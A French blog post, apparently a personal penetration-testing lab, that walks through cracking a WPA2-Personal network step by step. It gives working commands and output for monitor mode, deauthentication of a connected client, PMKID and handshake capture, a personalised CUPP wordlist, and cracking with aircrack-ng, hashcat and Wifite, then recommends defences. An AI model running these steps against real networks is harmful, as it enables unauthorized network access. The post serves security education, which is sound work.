Retour au Blog

Lab Wi-Fi : Cracker du WPA2-Personal

Cybersecurite

⚠️ Avertissement Legal et Ethique

Ce contenu est strictement educatif. Les techniques presentees ne doivent etre utilisees que sur des reseaux dont vous etes proprietaire ou pour lesquels vous avez une autorisation ecrite explicite.

L'acces non autorise a un reseau informatique est un delit puni par la loi (Article 323-1 du Code penal francais : jusqu'a 2 ans d'emprisonnement et 60 000€ d'amende).

Testez uniquement sur votre propre equipement dans un environnement controle.

📡 Introduction : La realite du terrain

Sur le papier, le WPA3 devrait avoir rendu ces attaques obsoletes. Ce protocole introduit le Simultaneous Authentication of Equals (SAE), une protection bien plus robuste contre les attaques par dictionnaire.

Mais la realite est tout autre...

📊 Les chiffres qui surprennent (WiGLE, 2026)

  • ~75% des points d'acces mondiaux utilisent encore WPA2
  • En France, ce chiffre depasse egalement les 70%
  • Source : wigle.net/stats

Cette predominance du WPA2-Personal (PSK) dans les reseaux domestiques et PME, combinee a des mots de passe souvent previsibles (prenoms, dates de naissance, suites logiques), rend ces reseaux particulierement vulnerables aux attaques par dictionnaire.

🛠️ Le Lab : Configuration du banc de test

Pour ce lab de penetration testing Wi-Fi, j'ai utilise le materiel suivant :

🍓
Attaquant

Raspberry Pi 5
Kali Linux ARM
Chipset Broadcom 43455

📶
Point d'Acces

Cisco Small Business
WPA2-Personal (PSK)
Canal 11

📱
Client Cible

Smartphone Android
Connecte au reseau
(pour forcer le handshake)

💡 Note sur le chipset

Le Broadcom 43455 integre au Raspberry Pi supporte le mode monitor, mais avec quelques limitations. Pour des tests plus avancés, une carte USB externe comme l'Alfa AWUS036ACH est recommandee.

🔧 Etape 1 : Preparation de l'interface

1 Verification de l'interface Wi-Fi

iw dev
iw : Outil de configuration des interfaces Wi-Fi sous Linux
dev : Affiche les informations sur les peripheriques wireless

Resultat attendu :

phy#0 Unnamed/non-netdev interface wdev 0x2 addr d4:3b:8f:21:c5:a9 type P2P-device txpower 31.00 dBm Interface wlan0 ifindex 3 wdev 0x1 addr 9c:6d:f2:a8:47:b1 type managed channel 36 (5180 MHz), width: 20 MHz, center1: 5180 MHz txpower 31.00 dBm

L'interface wlan0 est en mode managed (mode normal). Nous devons la passer en monitor.

2 Verification des processus interferents

sudo airmon-ng check
airmon-ng : Script de la suite Aircrack-ng pour gerer le mode monitor
check : Liste les processus susceptibles d'interferer
Found 7 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 677 wpa_supplicant 690 dhcpcd 691 dhcpcd 692 dhcpcd 693 dhcpcd 798 NetworkManager 842 wpa_supplicant

3 Activation du mode monitor

sudo airmon-ng check kill
sudo airmon-ng start wlan0
check kill : Tue les processus interferents (NetworkManager, wpa_supplicant)
start wlan0 : Active le mode monitor sur l'interface wlan0
PHY Interface Driver Chipset phy0 wlan0 brcmfmac Broadcom 43455 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)

L'interface wlan0mon est maintenant creee en mode monitor.

🔍 Etape 2 : Reconnaissance des reseaux

sudo airodump-ng wlan0mon
airodump-ng : Outil de capture et d'analyse des paquets Wi-Fi
wlan0mon : Interface en mode monitor a utiliser

Resultat :

CH 3 ][ Elapsed: 0 s ][ 2026-01-29 03:24 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID A2:7B:C4:9D:E3:01 -52 1 0 0 6 54 . WPA2 CCMP MGT NetCampus-Secure A2:7B:C4:9D:E3:02 -46 2 0 0 6 54 . OPN CampusNet-Open A2:7B:C4:9D:E3:03 -46 2 0 0 6 54 . WPA2 CCMP PSK CampusNet-Private C8:3A:35:2B:9F:D4 -10 7 0 0 11 130 WPA2 CCMP PSK WI-FI_de_Jordao BSSID STATION PWR Rate Lost Frames Notes Probes

📖 Lecture de l'output

  • BSSID : Adresse MAC du point d'acces
  • PWR : Puissance du signal (plus proche de 0 = plus fort)
  • CH : Canal utilise
  • ENC : Type de chiffrement (WPA2, WPA, OPN...)
  • AUTH : Methode d'authentification (PSK = Pre-Shared Key, MGT = Enterprise/RADIUS)
  • ESSID : Nom du reseau

On identifie notre cible : WI-FI_de_Jordao (BSSID: C8:3A:35:2B:9F:D4) sur le canal 11 en WPA2-PSK.

Notez que NetCampus-Secure utilise MGT (WPA2-Enterprise) - nous verrons pourquoi cette cible est beaucoup plus complexe a attaquer.

🤝 Etape 3 : Capture du 4-Way Handshake

Le 4-way handshake est l'echange de 4 messages EAPOL entre le client et le point d'acces lors de la connexion. Il contient les elements cryptographiques necessaires pour verifier un mot de passe hors-ligne.

1 Cibler le reseau et capturer le trafic

sudo airodump-ng -w capturewifi --bssid C8:3A:35:2B:9F:D4 -c 11 wlan0mon
-w capturewifi : Prefixe pour les fichiers de capture (.cap, .csv, .kismet...)
--bssid C8:3A:35:2B:9F:D4 : Filtre sur l'adresse MAC du point d'acces cible
-c 11 : Se concentre sur le canal 11 (plus de precision)
wlan0mon : Interface en mode monitor
CH 11 ][ Elapsed: 0 s ][ 2026-01-29 03:48 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C8:3A:35:2B:9F:D4 -10 100 14 38 0 11 130 WPA2 CCMP PSK WI-FI_de_Jordao BSSID STATION PWR Rate Lost Frames Notes Probes C8:3A:35:2B:9F:D4 F8:B2:4A:1C:D7:93 -35 0e- 1 22 56

On voit un client connecte (STATION: F8:B2:4A:1C:D7:93). Nous pouvons forcer sa deconnexion pour capturer le handshake lors de sa reconnexion.

2 Attaque de desauthentification

Dans un second terminal, lancez l'attaque deauth :

sudo aireplay-ng --deauth 10 -a C8:3A:35:2B:9F:D4 -c F8:B2:4A:1C:D7:93 wlan0mon
--deauth 10 : Envoie 10 paquets de desauthentification (0 = infini)
-a C8:3A:35:2B:9F:D4 : Adresse MAC du point d'acces (AP)
-c F8:B2:4A:1C:D7:93 : Adresse MAC du client a deconnecter
wlan0mon : Interface en mode monitor
03:49:43 Waiting for beacon frame (BSSID: C8:3A:35:2B:9F:D4) on channel 11 03:49:44 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [ 0| 2 ACKs] 03:49:44 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [ 0| 7 ACKs] 03:50:03 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [33|147 ACKs] 03:50:15 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [15|96 ACKs]

3 Confirmation de la capture

Retournez au premier terminal. Quand le handshake est capture, vous verrez :

03:49:10 Created capture file "capturewifi-01.cap". CH 11 ][ Elapsed: 1 min ][ 2026-01-29 03:50 ][ WPA handshake: C8:3A:35:2B:9F:D4 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C8:3A:35:2B:9F:D4 -10 100 496 17 0 11 130 WPA2 CCMP PSK WI-FI_de_Jordao BSSID STATION PWR Rate Lost Frames Notes Probes C8:3A:35:2B:9F:D4 F8:B2:4A:1C:D7:93 -39 1e- 1 424 227

✅ Handshake capture !

Le message [ WPA handshake: C8:3A:35:2B:9F:D4 ] confirme la capture. Le fichier capturewifi-01.cap contient maintenant le handshake.

⚡ Alternative : Attaque PMKID (sans client)

L'attaque PMKID (decouverte en 2018) permet de recuperer un hash sans avoir besoin d'un client connecte ni de capturer un handshake complet. Elle exploite le premier message EAPOL envoye par l'AP.

🔬 Pourquoi c'est puissant ?

  • Pas besoin d'attendre qu'un client se connecte
  • Pas besoin d'attaque de desauthentification
  • Plus discret (moins de trafic anormal)

Avec Wifite, l'attaque PMKID est tentee automatiquement :

sudo wifite --dict ./wordlist.txt
wifite : Outil automatise qui combine plusieurs attaques Wi-Fi
--dict ./wordlist.txt : Dictionnaire a utiliser pour le cracking
. . .´ · . . · `. wifite2 2.8.1 : : : (¯) : : : a wireless auditor by derv82 `. · ` /¯\ ´ · .´ maintained by kimocoder ` /¯¯¯\ ´ https://github.com/kimocoder/wifite2 NUM ESSID CH ENCR PWR WPS CLIENT --- ------------------------- --- ----- ---- --- ------ 1 WI-FI_de_Jordao 11 WPA2-P 89db no 2 CampusNet-Open 6 OPN 56db no 3 CampusNet-Private 6 WPA2-P 50db no 4 NetCampus-Secure 6 WPA2-E 50db no 5 CampusNet-Open 11 OPN 40db no 6 NetCampus-Secure 11 WPA2-E 37db no 7 CampusNet-Private 6 WPA2-P 37db no 8 CampusNet-Private 1 WPA2-P 32db no [+] Select target(s) (1-8) separated by commas, dashes or all: 1 [+] (1/1) Starting attacks against C8:3A:35:2B:9F:D4 (WI-FI_de_Jordao) [+] WI-FI_de_Jordao (89db) PMKID CAPTURE: Waiting for PMKID (4m43s)

Si le PMKID n'est pas disponible, Wifite basculera automatiquement sur la capture de handshake classique.

📝 Etape 4 : Generation d'un dictionnaire cible

CUPP (Common User Passwords Profiler) permet de generer des wordlists personnalisees basees sur des informations connues de la cible.

cupp -i
cupp : Generateur de wordlists personnalisees
-i : Mode interactif (questions-reponses)
___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: Jordao > Surname: Mbambu > Nickname: Lawliet06 > Birthdate (DDMMYYYY): 01012026 > Partners) name: > Partners) nickname: > Partners) birthdate (DDMMYYYY): > Child's name: > Child's nickname: > Child's birthdate (DDMMYYYY): > Pet's name: > Company name: > Do you want to add some key words about the victim? Y/[N]: > Do you want to add special chars at the end of words? Y/[N]: Y > Do you want to add some random numbers at the end of words? Y/[N]: > Leet mode? (i.e. leet = 1337) Y/[N]: [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to jordao.txt, counting 3006 words. [+] Now load your pistolero with jordao.txt and shoot! Good luck!

Ce dictionnaire de ~3000 mots contient des combinaisons basees sur le prenom, nom, surnom et date de naissance avec variations (majuscules, chiffres, caracteres speciaux).

🔓 Etape 5 : Cracking avec Aircrack-ng

sudo aircrack-ng capturewifi-01.cap -w jordao.txt
aircrack-ng : Outil de cracking WPA/WPA2
capturewifi-01.cap : Fichier de capture contenant le handshake
-w jordao.txt : Wordlist a utiliser pour l'attaque par dictionnaire
Reading packets, please wait... Opening capturewifi-01.cap Read 847 packets. # BSSID ESSID Encryption 1 C8:3A:35:2B:9F:D4 WI-FI_de_Jordao WPA (1 handshake) Choosing first network as target. Reading packets, please wait... Opening capturewifi-01.cap Read 847 packets. 1 potential targets Aircrack-ng 1.7 [00:00:14] 2980/3007 keys tested (206.96 k/s) Time left: 0 seconds 99.10% KEY FOUND! [ Jordao2026! ] Master Key : 1F 22 13 17 E9 40 7E 73 9E B1 A8 2E 5F 75 A7 83 AF 64 ED AD ED CC 71 8B 62 DA 9C 73 B2 03 60 C6 Transient Key : 87 BE 51 EC C4 64 42 54 4F 1C F8 74 2B A0 16 9C 9A 31 7D B4 FA 24 CB CE C1 C0 4F 81 75 47 46 0E F2 B5 BC 64 41 2B BB F1 33 E2 DC 8B 33 B2 E9 A9 CE 03 72 F4 2E DF F3 0D 31 22 9F 45 61 97 B5 B2 EAPOL HMAC : F0 48 68 DA 98 58 74 C7 2C EE EA BD A0 61 8A 92

✅ Mot de passe trouve !

KEY FOUND! [ Jordao2026! ]

Le mot de passe a ete trouve en 14 secondes parmi 3007 candidats. Un mot de passe previsible (prenom + annee + caractere special) a ete cracke facilement.

🚀 Alternative : Cracking avec Hashcat (GPU)

Hashcat exploite la puissance des GPU pour accelerer considerablement le cracking. Il supporte le format hc22000 pour WPA/WPA2.

1 Conversion du fichier .cap

hcxpcapngtool -o hash.hc22000 capturewifi-01.cap
hcxpcapngtool : Convertit les captures en format hashcat
-o hash.hc22000 : Fichier de sortie au format hc22000
capturewifi-01.cap : Fichier de capture source

2 Cracking avec GPU

hashcat -m 22000 hash.hc22000 wordlist.txt -d 1
hashcat : Outil de cracking haute performance
-m 22000 : Mode WPA-PBKDF2-PMKID+EAPOL
hash.hc22000 : Fichier de hash a cracker
wordlist.txt : Dictionnaire
-d 1 : Utilise le device GPU #1

⚡ Performance

Avec une carte graphique moderne (RTX 3070+), hashcat peut tester des millions de mots de passe par seconde contre quelques centaines pour aircrack-ng sur CPU.

🤖 Methode Automatisee : Wifite

Wifite automatise l'ensemble du processus : scan, capture PMKID, capture handshake, desauth, et cracking.

sudo wifite --dict ./jordao.txt
. . .´ · . . · `. wifite2 2.8.1 : : : (¯) : : : a wireless auditor by derv82 `. · ` /¯\ ´ · .´ maintained by kimocoder ` /¯¯¯\ ´ https://github.com/kimocoder/wifite2 NUM ESSID CH ENCR PWR WPS CLIENT --- ------------------------- --- ----- ---- --- ------ 1 WI-FI_de_Jordao 11 WPA2-P 89db no [+] Select target(s) (1-1) separated by commas, dashes or all: 1 [+] (1/1) Starting attacks against C8:3A:35:2B:9F:D4 (WI-FI_de_Jordao) [+] WI-FI_de_Jordao (89db) PMKID CAPTURE: Waiting for PMKID (4m43s) ^C [!] Interrupted [+] 1 attack(s) remain [+] Do you want to continue attacking, skip and ignore current target, or exit (c, i, e)? c [+] WI-FI_de_Jordao (90db) WPA Handshake capture: Discovered new client: F8:B2:4A:1C:D7:93 [+] WI-FI_de_Jordao (89db) WPA Handshake capture: Captured handshake [+] saving copy of handshake to hs/handshake_WIFIdeJordao_C8-3A-35-2B-9F-D4_2026-01-29T04-04-15.cap saved [+] analysis of captured handshake file: [+] tshark: .cap file contains a valid handshake for (c8:3a:35:2b:9f:d4) [+] aircrack: .cap file contains a valid handshake for (C8:3A:35:2B:9F:D4) [+] Cracking WPA/WPA2 Handshake: Running Hashcat with jordao.txt wordlist [+] Attempting to crack WPA/WPA2 hash using Hashcat mode 22000 [+] Cracked WPA/WPA2 Handshake Key: Jordao2026! [+] Access Point Name: WI-FI_de_Jordao [+] Access Point BSSID: C8:3A:35:2B:9F:D4 [+] Encryption: WPA [+] Handshake File: hs/handshake_WIFIdeJordao_C8-3A-35-2B-9F-D4_2026-01-29T04-04-15.cap [+] PSK (password): Jordao2026! [+] saved result to cracked.json (1 total) [+] Finished attacking 1 target(s), exiting

🏢 Pourquoi WPA-Enterprise resiste a ces attaques

Durant mon scan, j'ai repere NetCampus-Secure avec AUTH: MGT (Management = Enterprise). Pourquoi ces techniques echouent-elles sur ce type de reseau ?

Aspect WPA2-Personal (PSK) WPA2-Enterprise (RADIUS)
Authentification Mot de passe partage unique Identifiants individuels par utilisateur
Cle de session Derivee du PSK (identique pour tous) Unique par session, generee par RADIUS
Attaque dictionnaire ✅ Possible (handshake capture) ❌ Impossible (pas de hash exploitable)
Attaque PMKID ✅ Possible ❌ Impossible
Compromission 1 mot de passe = tout le reseau 1 compte = 1 utilisateur (revocable)

🔐 J'ai configure du WPA-Enterprise dans mon projet precedent

Dans le cadre de la modernisation d'une infrastructure reseau, j'ai deploye un Wi-Fi "Prive" en WPA3-Enterprise avec authentification RADIUS (NPS) liee a l'Active Directory.

Cette configuration rend les attaques presentees dans cet article totalement inefficaces.

🎯 Prochaines etapes : Attaquer le WPA-Enterprise ?

Auditer un reseau WPA-Enterprise necessite des techniques plus avancees :

  • Rogue AP / Evil Twin : Creer un faux point d'acces pour intercepter les tentatives de connexion
  • Rogue RADIUS : Simuler un serveur RADIUS pour capturer les identifiants
  • Interception de certificats : Exploiter les clients qui ne valident pas correctement les certificats du serveur RADIUS
  • Attaques sur PEAP/MSCHAPv2 : Capturer les challenges-responses et tenter de les cracker

Ces techniques feront l'objet d'un prochain article...

✅ Conclusion

Ce lab demontre que le WPA2-Personal reste vulnerable aux attaques par dictionnaire, surtout avec des mots de passe previsibles. Quelques recommandations :

  • Utilisez des mots de passe longs et aleatoires (20+ caracteres)
  • Preferez WPA3 si vos equipements le supportent
  • Pour les entreprises : WPA2/WPA3-Enterprise avec RADIUS
  • Activez le Management Frame Protection (MFP/802.11w) pour bloquer les attaques deauth